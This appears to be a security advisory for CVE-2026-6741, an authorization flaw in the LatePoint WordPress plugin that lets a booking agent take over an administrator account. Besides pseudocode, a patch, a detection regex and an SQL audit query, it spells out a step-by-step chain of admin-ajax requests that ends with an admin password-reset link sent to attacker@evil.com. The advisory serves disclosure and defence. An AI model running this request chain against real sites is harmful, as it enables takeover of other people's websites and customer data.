CVE-2026-6741: LatePoint Agent Role Escalates to WordPress Admin
Missing authorization in LatePoint's connect-customer-to-wp-user ability lets any latepoint_agent link a customer record to an admin account and hijack it via password reset.
Millions of small businesses use a WordPress plugin called LatePoint to manage customer appointments—think salons, clinics, and consultants booking clients. The plugin has a security hole that could let staff members steal admin access to the entire website.
Here's what's happening. The plugin lets customer-facing staff members (called "agents") link customers to WordPress user accounts. It's meant to be a convenient way to organize records. But the plugin never checks whether an agent is trying to link a customer to an admin account—it just does it automatically, like a bouncer letting someone through without checking if they're actually supposed to be behind the velvet rope.
A disgruntled employee or compromised staff account could use this to secretly connect themselves to an administrator account. Once linked, they'd have the keys to the entire website: they could steal customer data, modify bookings, change pricing, or plant malware.
This affects anyone running WordPress with LatePoint installed, particularly small business owners who don't have dedicated IT staff. If you hire appointment staff or use contractors, you're more vulnerable—the attack comes from inside your own team.
What you should do right now: Check if you're running LatePoint (it shows in your WordPress plugins list). Update to version 5.4.2 or higher immediately—the fix is already available. If you can't update immediately, limit which staff members have permission to link customer accounts. Finally, review your admin accounts regularly to see if anything looks suspicious or if you have unexpected linked users.
Want the full technical analysis? Click "Technical" above.
▶ Privilege escalation — CVE-2026-6741
Vulnerability Overview
CVE-2026-6741 is a privilege escalation vulnerability in the LatePoint – Calendar Booking Plugin for Appointments and Events for WordPress, affecting all versions through 5.4.1. The vulnerability lives in the execute() method of the connect-customer-to-wp-user ability class. An authenticated attacker holding only the latepoint_agent role — a low-privilege role granted to booking agents — can invoke this ability to bind any LatePoint customer record to an arbitrary WordPress user ID, including wp_users entries belonging to administrators. Once that binding is established, the attacker drives the normal customer password-reset flow, which emails a reset link tied to the now-administrator-owned account. Full site takeover follows without any administrator interaction beyond having an account that exists.
CVSS 8.8 (HIGH) — Attack Vector: Network / Privileges Required: Low / User Interaction: None / Scope: Unchanged / Confidentiality: High / Integrity: High / Availability: High.
Root cause: The execute() method of OsAbility_ConnectCustomerToWpUser gates execution on customer__edit capability alone, never verifying that the supplied wp_user_id belongs to a non-privileged account before writing it into the customer record.
Affected Component
Plugin slug: latepoint. The relevant class hierarchy within the plugin:
The latepoint_agent role is seeded with customer__edit during plugin activation via OsRolesHelper::add_roles(). This is intentional for day-to-day agent workflows; the missing check is purely in the ability's authorization gate.
Root Cause Analysis
The ability dispatcher resolves an ability class name from a request parameter, instantiates it, and calls execute(). The vulnerable ability performs an authorization check — but only for the capability to edit customers, not for the privilege level of the target WordPress user being linked.
/* Pseudocode: OsAbility_ConnectCustomerToWpUser::execute()
* File: lib/abilities/connect_customer_to_wp_user_ability.php
* Affected versions: <= 5.4.1
*/
class OsAbility_ConnectCustomerToWpUser extends OsAbility {
public function execute() {
// Authorization gate — checks only customer__edit capability
// BUG: no verification that $wp_user_id references a non-admin account
if (!OsRolesHelper::current_user_can('customer__edit')) {
return $this->respond_with_error(__('Access denied', 'latepoint'));
}
$customer_id = (int) $this->params['customer_id']; // attacker-supplied
$wp_user_id = (int) $this->params['wp_user_id']; // attacker-supplied
// Loads the target customer record — any customer the agent can edit
$customer = new OsCustomerModel($customer_id);
// BUG: wp_user_id is written directly without checking
// user_can($wp_user_id, 'manage_options') or similar.
// An administrator's WP user ID is fully accepted here.
$customer->wp_user_id = $wp_user_id;
if ($customer->save()) {
return $this->respond_with_success();
}
return $this->respond_with_error(__('Could not save', 'latepoint'));
}
}
The OsCustomerModel::save() method performs standard WordPress database operations via $wpdb->update(). There is no hook, filter, or secondary validation on wp_user_id in the model layer. Once saved, the customer record's wp_user_id foreign key is authoritative for all subsequent identity operations — including password reset email dispatch.
/* Pseudocode: OsCustomerModel::generate_password_reset_token()
* Called by the front-end "forgot password" flow
*/
public function generate_password_reset_token() {
// Resolves identity from customer->wp_user_id — already poisoned
$wp_user = get_user_by('id', $this->wp_user_id); // returns admin WpUser object
$token = get_password_reset_key($wp_user); // WordPress core
// Email dispatched to $wp_user->user_email — the administrator's inbox
// ... but attacker controls $this->email on the customer record
wp_mail($this->email, 'Reset your password', reset_url($token, $wp_user));
// BUG (chained): if $this->email was updated to attacker email before
// token generation, reset link goes to attacker directly.
}
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker authenticates to WordPress with latepoint_agent credentials
(any valid agent account; self-registration may be open depending on config).
2. Enumerate administrator wp_user_id.
GET /wp-json/wp/v2/users returns user IDs for users with published posts.
Alternatively, /wp-admin/admin-ajax.php?action=latepoint leaks user metadata
in agent-accessible customer search endpoints.
Target: wp_user_id = 1 (default admin) or any ID with manage_options.
3. Identify or create a LatePoint customer record owned/accessible by the agent.
POST /wp-admin/admin-ajax.php
action=latepoint
route=customers/create
first_name=evil&last_name=agent&email=attacker@evil.com
Response: {"customer_id": 42}
4. [Optional but stealthy] Update attacker-controlled customer email so
password reset mail routes to attacker inbox.
POST /wp-admin/admin-ajax.php
action=latepoint
route=customers/update
customer_id=42&email=attacker@evil.com
5. Invoke the vulnerable ability to link customer #42 to admin user ID 1.
POST /wp-admin/admin-ajax.php
action=latepoint
route=abilities/execute
ability=connect-customer-to-wp-user
customer_id=42&wp_user_id=1
Response: {"status":"success"}
— customer record wp_user_id column now = 1
6. Trigger password reset via the LatePoint front-end booking portal.
POST /wp-admin/admin-ajax.php
action=latepoint
route=customers/send_reset_password_email
customer_id=42
Plugin calls generate_password_reset_token() against wp_user_id=1.
WordPress core issues a valid reset key for the admin account.
Reset link emailed to attacker@evil.com (customer->email, not wp_user->email).
7. Attacker follows reset link, sets new password for admin account.
Full administrative access achieved.
wp_capabilities: {administrator: true}
Memory Layout
This is a logic/authorization vulnerability rather than a memory corruption bug; there is no heap or stack state to diagram. The relevant data state transition in the database is shown below.
latepoint_customers TABLE — BEFORE exploit (step 5):
+----+------------+-----------+-----------------------+------------+
| id | first_name | last_name | email | wp_user_id |
+----+------------+-----------+-----------------------+------------+
| 1 | Alice | Smith | alice@example.com | NULL | ← legitimate customer
| 42 | evil | agent | attacker@evil.com | NULL | ← attacker customer
+----+------------+-----------+-----------------------+------------+
wp_users TABLE (relevant entries):
+----+---------------+-------------------------------+
| ID | user_login | user_email |
+----+---------------+-------------------------------+
| 1 | admin | admin@victim-site.com | ← administrator
| 88 | malicious_agent | attacker@evil.com | ← attacker WP account
+----+---------------+-------------------------------+
latepoint_customers TABLE — AFTER exploit (post step 5):
+----+------------+-----------+-----------------------+------------+
| id | first_name | last_name | email | wp_user_id |
+----+------------+-----------+-----------------------+------------+
| 1 | Alice | Smith | alice@example.com | NULL |
| 42 | evil | agent | attacker@evil.com | 1 | ← POISONED: now bound to admin
+----+------------+-----------+-----------------------+------------+
Password reset key generated by WordPress core for user ID 1 (admin).
Reset link delivered to attacker@evil.com via customer record email field.
Patch Analysis
The correct fix adds a privilege-level check on the resolved wp_user_id before persisting the association. A secondary hardening measure ensures the password reset email always routes to the WordPress user's registered email rather than the customer record email.
// BEFORE (vulnerable — <= 5.4.1):
public function execute() {
if (!OsRolesHelper::current_user_can('customer__edit')) {
return $this->respond_with_error(__('Access denied', 'latepoint'));
}
$customer_id = (int) $this->params['customer_id'];
$wp_user_id = (int) $this->params['wp_user_id'];
$customer = new OsCustomerModel($customer_id);
$customer->wp_user_id = $wp_user_id; // BUG: no privilege check on target
if ($customer->save()) {
return $this->respond_with_success();
}
return $this->respond_with_error(__('Could not save', 'latepoint'));
}
// AFTER (patched):
public function execute() {
if (!OsRolesHelper::current_user_can('customer__edit')) {
return $this->respond_with_error(__('Access denied', 'latepoint'));
}
$customer_id = (int) $this->params['customer_id'];
$wp_user_id = (int) $this->params['wp_user_id'];
// FIX: reject linkage if target WP user holds any privileged capability
$target_user = get_userdata($wp_user_id);
if (!$target_user) {
return $this->respond_with_error(__('Invalid user', 'latepoint'));
}
foreach (['manage_options', 'edit_users', 'delete_users'] as $cap) {
if (user_can($target_user, $cap)) {
return $this->respond_with_error(__('Cannot link to privileged account', 'latepoint'));
}
}
$customer = new OsCustomerModel($customer_id);
$customer->wp_user_id = $wp_user_id;
if ($customer->save()) {
return $this->respond_with_success();
}
return $this->respond_with_error(__('Could not save', 'latepoint'));
}
The following indicators can be used to detect exploitation attempts in WordPress access logs and database audit trails.
APACHE/NGINX ACCESS LOG PATTERN (exploit step 5):
POST /wp-admin/admin-ajax.php HTTP/1.1
Body contains: action=latepoint&route=abilities%2Fexecute
&ability=connect-customer-to-wp-user
&wp_user_id=1
REGEX for WAF/SIEM:
action=latepoint.*ability=connect-customer-to-wp-user.*wp_user_id=\d+
DATABASE AUDIT QUERY — detect poisoned customer records:
SELECT c.id, c.email, c.wp_user_id, u.user_login, u.user_email,
um.meta_value AS capabilities
FROM latepoint_customers c
JOIN wp_users u ON u.ID = c.wp_user_id
JOIN wp_usermeta um ON um.user_id = u.ID
AND um.meta_key = 'wp_capabilities'
WHERE um.meta_value LIKE '%administrator%'
OR um.meta_value LIKE '%editor%';
WordPress audit plugin (WP Activity Log) event signatures:
EventID 4009 — User profile updated (unexpected, no admin session)
EventID 2010 — User password changed via reset link
Source user_id = 1 with no corresponding admin session in user_sessions
Remediation
Update immediately to the version released after 5.4.1 which ships the authorization fix described above. If patching is not immediately possible:
Audit latepoint_customers for rows where wp_user_id maps to an administrator. Run the SQL query above. Null out any suspicious associations.
Remove the latepoint_agent role from all accounts that do not operationally require it. Principle of least privilege applies — agent accounts are a meaningful attack surface here.
Restrict /wp-admin/admin-ajax.php at the network perimeter for the route=abilities/execute parameter if a WAF is in place.
Enable two-factor authentication on all administrator accounts. Even with a valid password-reset token, a TOTP second factor breaks the final escalation step.
Audit all LatePoint ability classes in lib/abilities/ for the same pattern: execute() methods that accept user-supplied IDs and write to relational fields without privilege validation on the target object.
The plugin vendor should additionally consider a blanket policy: any ability that writes a cross-object foreign key linking a LatePoint entity to a WordPress core identity must call user_can($target_id, 'manage_options') and hard-reject the operation if the target is privileged, regardless of what capability the invoking agent holds.